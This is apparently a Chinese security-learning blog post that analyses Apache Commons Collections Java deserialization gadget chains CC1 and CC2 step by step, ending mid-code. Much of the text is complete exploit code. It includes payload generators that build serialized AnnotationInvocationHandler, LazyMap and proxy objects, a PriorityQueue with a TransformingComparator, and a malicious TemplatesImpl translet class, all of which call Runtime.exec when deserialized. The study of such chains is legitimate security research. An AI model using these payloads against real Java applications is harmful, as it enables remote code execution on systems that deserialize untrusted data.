我们已经知道了序列化和反序列化漏洞的基本原理,那么怎么通过构造恶意数据,让反序列化产生非预期对象呢?
Apache Commons
当中有一个组件叫做Apache Commons Collections
,主要封装了Java的Collection(集合)
相关类对象,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。collection是set,list,queue的抽象。
作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。
Apache Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。
前置疑问
为什么不直接构造Runtime.getRuntime().exec(),而是需要构造 Runtime.class.getMethod("getRuntime").invoke("null").exec("calc")?
Runtime
没有继承 Serializable
接口,我们无法将其进行序列化,而通过Runtime.class变成Class对象后,Class就继承了Serializable。
Runtime对象不能直接 new拿,原因是 Runtime 类的构造方法是私有的。所以要通过单例模式的静态方法,也就是Runtime.getRuntime()拿到Runtime对象。这就需要用到前面所学的java的反射机制了。
现在问题就很关键了,需要找到一个符合要求的对象,可以储存,并且在特定情况下调用命令。
Map类->TransformedMap
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。 也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。
而实现怎么样的操作或者变换都是我们提前设定好的,这叫做transform
我们可以通过 TransformedMap.decorate()方法获得一个TransformedMap的实例
TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法
Map的一些知识
- Map是java中的接口,Map.Entry是Map的一个内部接口。
- Map提供了一些常用方法,如keySet()、entrySet()等方法。
- keySet()方法返回值是Map中key值的集合;
- entrySet()的返回值也是返回一个Set集合,此集合的类型为Map.Entry。
- Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。接口中有getKey(),getValue方法,可以用来对集合中的元素进行修改
Transformer 接口
作用:接口于Transformer的类都具备把一个对象转化为另一个对象的功能
所属类为: InvokerTransformer
我们可以看到该类接收一个对象,获取该对象的名称,然后调用了一个invoke反射方法。另外,多个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。
那么,利用思路就出来了
- ConstantTransformer --> 把一个对象转换为常量,并返回
- InvokerTransformer --> 通过反射,返回一个对象
- ChainedTransforme -->执行链式的Transformer方法
CC1
复现
先下载jar包,
jdk版本:1.8.0_292
导入lib目录下,add as a library
ConstantTransformer
长按CTRL
,点击此类,进入看一下定义
package org.apache.commons.collections.functors;
import java.io.Serializable;
import org.apache.commons.collections.Transformer;
public class ConstantTransformer implements Transformer, Serializable {
private static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
private final Object iConstant;
public static Transformer getInstance(Object constantToReturn) {
return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
}
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
public Object getConstant() {
return this.iConstant;
}
}
当ConstantTransformer获取一个对象类型时,我们将参数设置为Runtime.class
,最后返回的类型是Runtime.class
import org.apache.commons.collections.functors.ConstantTransformer;
public class Demo0 {
public static void main(String[] args) {
ConstantTransformer constantTransformer = new ConstantTransformer("Runtime.getRuntime()");
Object transform = constantTransformer.transform("null");
System.out.println(transform);
}
}
InvokerTransformer
可以看出,只要传入方法名,方法类型和参数,就可以调用任意函数
这是它实例化时候的方法
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
} else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {
throw new IllegalArgumentException("The parameter types must match the arguments");
} else if (paramTypes != null && paramTypes.length != 0) {
paramTypes = (Class[])((Class[])paramTypes.clone());
args = (Object[])((Object[])args.clone());
return new InvokerTransformer(methodName, paramTypes, args);
} else {
return new InvokerTransformer(methodName);
}
}
Demo01
import org.apache.commons.collections.functors.InvokerTransformer;
public class Demo01 {
public static void main(String[] args) {
// 定义需要执行的本地系统命令
String cmd = "calc";
// 构建transformer对象
InvokerTransformer transformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{cmd}
);
// 传入Runtime实例,执行对象转换操作
transformer.transform(Runtime.getRuntime());
}
}
先创建一个InvokerTransformer
的实例,传递相应的参数,通过反射调用transform
的方法,成功使得类调用Runtime
.getRuntime()
。
ChainedTransformer
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
当传入的参数是一个数组的时候,就开始循环读取,对每个参数调用transform
方法,从而构造出一条链。
在链式调用中,常常需要这样构建,我们来分析一下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
Invoke 方法 第一参数为表示要调用哪个对象的方法,第二个参数表示要向方法中传入的参数
首先我们可以看到,通过ConstantTransformer(),获取Runtime类,然后反射调用getRuntime函数,之后再用invoke去调用exec方法,最后从而执行系统命令。
利用的时候,我们需要先提前构造,ChainedTransformer
链,然后实例化一个TransformerMap
对象,然后想办法修改其中的数据,使其自动调用transformer
方法,进行特定的变换。
Demo02
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Demo02 {
public static void main(String[] args) {
// 定义需要执行的本地系统命令
String cmd = "calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 执行对象转换操作
transformedChain.transform(null);
}
}
之后分别跟进 invoke
,getMethod
,exec
方法,发现,invoke和getMethod方法需要传入两个参数,exec传入一个参数,于是就可以构造为以上
那么,最后一个问题,传入null....是为什么
那么,有没有什么思路,是可以代替transform的呢?
只要调用TransformedMap
的setValue/put/putAll
中的任意方法都会触发InvokerTransformer
类的transform
方法,从而也就会触发命令执行。
Demo03
使用TransformedMap
类的setValue
触发transform
示例
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo03 {
public static void main(String[] args) {
String cmd = "calc";
//此处代码和demo02中相同
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
new Object[0],null}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// transformedMap.put("v1", "v2");// 执行put也会触发transform
// 遍历Map元素,并调用setValue方法
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
// setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
entry.setValue("test");
}
System.out.println(transformedMap);
}
}
到这里,基本明了了,要想方设法调用tranform
方法。
那么,最后理一下思路
-
先构造一个Map,和能够执行代码的ChainedTransformer
-
生成一个TransformedMap实例
-
利用MapEntry的setValue()函数,对TransformedMap中的键值进行修改
-
触发我们构造的链式Transformer对象,进行自动转换
TransformedMap的entry是怎么来的
我们知道Map的Entry
对象,由Map.entrySet
产生,所以TransformedMap的Entry
对象是TransformedMap.entrySet()
此处TransformedMap.entrySet()返回的类型就变成 AbstractInputCheckedMapDecorator$MapEntry类型。
因此得到了这样的代码
Map.Entry entry = (Map.Entry) map.entrySet().iterator().next(); // 通过迭代器获取第一组值
entry.setValue(Object.class);
而示例中,entry.setValue()调用的就是AbstractInputCheckedMapDecorator$MapEntry中的setValue方法。
但是,目前的构造还需要依赖于Map中某一项去调用setValue() 怎样才能在调用readObject()方法时直接触发执行呢?这就需要用到下面的类
AnnotationInvocationHandler
在java 8u71以后,官方修改了AnnotationInvocationHandler#readObject,故无法采用此类触发漏洞
需在此换成jdk7的版本
这个类中有一个成员变量是Map
类型,--->memberValues
我们知道,如果一个类的方法被重写,那么在调用这个函数的时候,会优先调用经过修改的方法,因为,如果某个可序列化后的类重写了readObject
方法,并且在readObject
中对Map
类型进行了键值
修改操作,且这个Map
是可控的,就可以实现攻击,而这个了类,符合条件
package sun.reflect.annotation;
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
}
// Java动态代理的invoke方法
public Object invoke(Object var1, Method var2, Object[] var3) {
}
private void readObject(ObjectInputStream var1) {
}
}
开始分析,攻击链
361行的v5可以被赋值,355行可以看出,v5的值取决于v4,352行可以看出,v4的值和memberValues
有关,而memberValues
又是Map
形式的全局变量。
那么,我们构建TransformedMap
对象尝试在反序化的时候,实现RCE
思路调整
-
首先构造一个Map和一个能够执行代码的ChainedTransformer,
-
生成一个TransformedMap实例
-
实例化AnnotationInvocationHandler,并对其进行序列化,
-
当触发readObject()反序列化的时候,就能实现命令执行
注意
AnnotationInvocationHandler
是一个内部API专用的类,在外部我们无法通过类名创建出AnnotationInvocationHandler
类实例- 我们需要通过反射的方式创建出
AnnotationInvocationHandler
对象 - 获取类对象-->获取方法对象--->反射方法对象,实例化。
Demo04
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
public class Demo04 {
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// // 遍历Map元素,并调用setValue方法
// for (Object obj : transformedMap.entrySet()) {
// Map.Entry entry = (Map.Entry) obj;
//
// // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
// entry.setValue("test");
// }
//
transformedMap.put("v1", "v2");// 执行put也会触发transform
try {
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法的访问权限
constructor.setAccessible(true);
// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);
// 创建用于存储payload的二进制输出流对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
// 创建Java对象序列化输出流对象
ObjectOutputStream out = new ObjectOutputStream(baos);
// 序列化AnnotationInvocationHandler类
out.writeObject(instance);
out.flush();
out.close();
// 获取序列化的二进制数组
byte[] bytes = baos.toByteArray();
// 输出序列化的二进制数组
System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));
// 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
ObjectInputStream in = new ObjectInputStream(bais);
// 模拟远程的反序列化过程
in.readObject();
// 关闭ObjectInputStream输入流
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
RCE链调用如下
ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next().setValue()
->TransformedMap.checkSetValue()
->TransformedMap.transform()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->Method.invoke()
->Class.getMethod()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.getRuntime()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.exec()
注意二
上述TransformedMap,也可以通过LazyMap构造利用链
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
这时exp变为
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
// ysoserial
public class CC1Yso {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// 不用再添加value了
// innerMap.put("value", "value");
//使用 LazyMap
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
// 通过反射机制 实例化 AnnotationInvocationHandler
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object instance = ctor.newInstance(Target.class, outerMap);
// 动态代理劫持 (Proxy 实现了Serializable接口 是可以序列化的)
InvocationHandler handler = (InvocationHandler) instance;
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);
Object proxy = ctor.newInstance(Target.class, proxyMap);
//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payloadproxy.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(proxy);
//2.服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payloadproxy.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
fin.readObject();
}
}
CC2
参考文章:8-java安全--java反序列化CC2链分析_专注于linux开发与web安全-CSDN博客
javassist使用全解析 - rickiyang - 博客园
Ysoserial CommonsColletions2 两个问题 - 先知社区
环境搭建
老实说,,,CC2复现的时候,跟着某篇错误的文章,,,复现了半天,,后来换了一篇,,成功了。。。
首先CC2是需要apache commons collections-4.0
版本的,然后我的maven仓库里,没有他的依赖,需要先从maven的仓库里找到这个依赖,把pom文件和jar文件一同放在仓库下。在这里设置仓库的路径
在这个文件夹里,相对应的文件里,找到对应的路径,导入文件
然后在maven对应的pom.xml
中添加相应的依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
一定要干上面的事情,要不然是找不到对应的依赖的。
EXP
先整上师傅们的exp
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2Test {
public static void main(String[] args) throws Exception {
//构造恶意类TestTemplatesImpl并转换为字节码
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("payload");
byte[] bytes = ctClass.toBytecode();
//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "payload");
//构造利用链
InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformer_comparator =new TransformingComparator(transformer);
//触发漏洞
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
//设置comparator属性
Field field=queue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,transformer_comparator);
//设置queue属性
field=queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
//队列至少需要2个元素
Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
field.set(queue,objects);
//序列化 ---> 反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object object = ois.readObject();
}
}
再放上恶意构造的类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class payload extends AbstractTranslet {
public payload() {
super();
try {
Runtime.getRuntime().exec("calc.exe");
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
这里的exp需要用到一个jar包
Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javaassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法。
Gadget chain
/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
CC2的利用思路是这样的
-
构造一个TestTemplatesImpl恶意类转成字节码,然后通过反射将恶意类的字节码注入到TemplatesImpl对象的_bytecodes属性(构造利用核心代码)
-
创建一个InvokerTransformer并传递一个newTransformer方法,然后将InvokerTransformer传递给TransformingComparator(这一步和CC1链非常相似)
-
通过反射构造PriorityQueue队列的comparator和queue两个字段,将PriorityQueue队列的comparator字段设置为TransformingComparator,然后将queue字段设置为TemplatesImpl对象,触发利用链。
PriorityQueue
他的readObject
方法是这样的。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Object[].class, size);
final Object[] es = queue = new Object[Math.max(size, 1)];
// Read in all elements.
for (int i = 0, n = size; i < n; i++)
es[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
我们进一步跟进heapify
方法
从heapify-->siftDownUsingComparator,其中的siftDownUsingComparator代码如下
private static <T> void siftDownUsingComparator(
int k, T x, Object[] es, int n, Comparator<? super T> cmp) {
// assert n > 0;
int half = n >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = es[child];
int right = child + 1;
if (right < n && cmp.compare((T) c, (T) es[right]) > 0)
c = es[child = right];
if (cmp.compare(x, (T) c) <= 0)
break;
es[k] = c;
k = child;
}
es[k] = x;
}
这个方法中,调用了比较器的compare
方法。//我这里没有找到下面这条语句
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
这时已经看到transform方法,就可以使用和CC链1相同的方法去执行本地命令。
接下来分析分析如何构造CC2的利用链
TemplatesImpl
//构造恶意类TestTemplatesImpl并转换为字节码
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("TestTemplatesImpl");
byte[] bytes = ctClass.toBytecode();
这里我们是用javassist
将构造了的恶意类,转化为二进制的字节码。因为,我们需要用到TemplatesImpl
类,我们需要对他进行插入一些数据。
TemplatesImpl类有一个_bytecodes属性和一个defineTransletClasses方法,_bytecodes属性会接收一个byte数组,并且defineTransletClasses方法内部调用了defineClass 方法将_bytecodes属性的字节码还原成class对象,然后将class对象赋给_class属性
如果一个恶意类传给TemplatesImlp
类_bytecodes属性,那么defineTransletClasses方法根据_bytecodes
属性的字节码数据加载成class对象时。_bytecodes属性可控
,在调用NewInstance
方法,实例化对象时,就会触发class对象的构造方法。
按Alt + F7快捷键查找,看到TemplatesImpl类中有以下几个方法中调用了defineTransletClasses方法。
看到getTransletInstance
这个类,内部调用了defineTransletClasses
和newInstacne
方法
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
//根据class对象可进行实例化
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}
-
getTransletInstance方法内部判断了_name属性是否为空,如果没有设置直接返回null,不再往下执行。
-
这里我们要想办法绕过_name属性,也就是在构造核心利用代码时通过反射将_name属性设置为恶意类TestTemplatesImpl的类名。
-
接着判断class对象为空就调用defineTransletClasses方法创建class对象。当defineTransletClasses方法创建恶意类的class对象后,_class属性会调用newInstance方法实例化TestTemplatesImpl
实现过程参考defineTransletClasses方法实现
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader =
AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() {
public TransletClassLoader run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),
_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class<?>[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
// create a module for the translet
String mn = "jdk.translet";
String pn = _tfactory.getPackageName();
assert pn != null && pn.length() > 0;
ModuleDescriptor descriptor =
ModuleDescriptor.newModule(mn, Set.of(ModuleDescriptor.Modifier.SYNTHETIC))
.requires("java.xml")
.exports(pn, Set.of("java.xml"))
.build();
Module m = createModule(descriptor, loader);
// the module needs access to runtime classes
Module thisModule = TemplatesImpl.class.getModule();
// the module also needs permission to access each package
// that is exported to it
PermissionCollection perms =
new RuntimePermission("*").newPermissionCollection();
Arrays.asList(Constants.PKGS_USED_BY_TRANSLET_CLASSES).forEach(p -> {
thisModule.addExports(p, m);
perms.add(new RuntimePermission("accessClassInPackage." + p));
});
CodeSource codeSource = new CodeSource(null, (CodeSigner[])null);
ProtectionDomain pd = new ProtectionDomain(codeSource, perms,
loader, null);
// java.xml needs to instantiate the translet class
thisModule.addReads(m);
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i], pd);
final Class<?> superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}
_class
对象是一个接受classes对象的数组,_transletIndex索引控制了_class数组中具体哪一个class对象,defineTransletClasses方法在还原对象的时候,会判断当前classes对象是否继承了AbstractTranslet
类,并设置_transletIndex
索引。
在全局变量中是这样设置的
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
说明我们实例化的对象,必须要继承这个类
之后,我们可以想,哪里有地方调用到了getTransletInstance
方法,继续alt+F7找到
newTransformer创建了一个Transformer对象,妙啊,这不就是CC链1中的核心精髓吗?对,我们需要InvokerTransformer去构造链式,因此下一步的思路就是查找哪些类调用了Transformer接口的transform方法并且还实现了Serializable接口,最终我们找到以下这几个类:
左侧找到了很多类中都调用了transform方法,不过这里我们用到的是TransformingComparator类,TransformingComparator类是一个Comparable 对象的comparator比较器,实现了Serializable接口。
TransformingComparator类的compare方法中通过transformer属性来调用transform方法的,如果想要调用InvokerTransformer类的transform方法,可以把InvokerTransformer传给TransformingComparator类的构造来设置transformer属性(当然也可以使用反射),因为transformer
属性可控
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
构造方法内部又调用了一次构造将ComparatorUtils.NATURAL_COMPARATOR传给了decorated属性(ComparatorUtils.NATURAL_COMPARATOR是一个Comparator类型)
于是乎,我们得到了这么一条利用链
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
//将InvokerTransformer传递给TransformingComparator
TransformingComparator comparator =new TransformingComparator(transformer);
那么,我我们将如何触发这个利用链?
(如何调用TransformingComparator的compare方法?),我们知道comparator比较器在集合中使用的比较多,并且还可以通过实现Comparator接口自定义比较器,而TransformingComparator类本身就是一个自定义比较器,因为它实现了Comparator接口,那么我们可以通过集合来调用TransformingComparator比较器,这个集合必须实现Serializable接口,重写了readObject方法,并且还使用了Comparator比较器。
这里就需要使用jdk中PriorityQueue
集合,PriorityQueue是一个优先队列,每次排序都会触发comparator比较器的compare方法,并且PriorityQueue还重写了readObject方法(反序列化漏洞必要的利用条件)。
现在来看一下PriorityQueue的readObject方法
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
//接收PriorityQueue队列的元素
queue = new Object[size];
// Read in all elements.
//读取元素还原成java对象
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
readObject方法会把序列化后的数据还原成java对象,然后通过queue属性用于接收元素 ,queue是一个数组,size属性记录元素的个数,接着调用heapify()方法。
而heapify
方法内部将queue
队列作为参数传给了siftDownUsing
方法。
private void heapify() {
final Object[] es = queue;
int n = size, i = (n >>> 1) - 1;
final Comparator<? super E> cmp;
if ((cmp = comparator) == null)
for (; i >= 0; i--)
siftDownComparable(i, (E) es[i], es, n);
else
for (; i >= 0; i--)
siftDownUsingComparator(i, (E) es[i], es, n, cmp);
}
现在分析一下siftDownComparable方法
private static <T> void siftDownComparable(int k, T x, Object[] es, int n) {
// assert n > 0;
Comparable<? super T> key = (Comparable<? super T>)x;
int half = n >>> 1; // loop while a non-leaf
while (k < half) {
int child = (k << 1) + 1; // assume left child is least
Object c = es[child];
int right = child + 1;
if (right < n &&
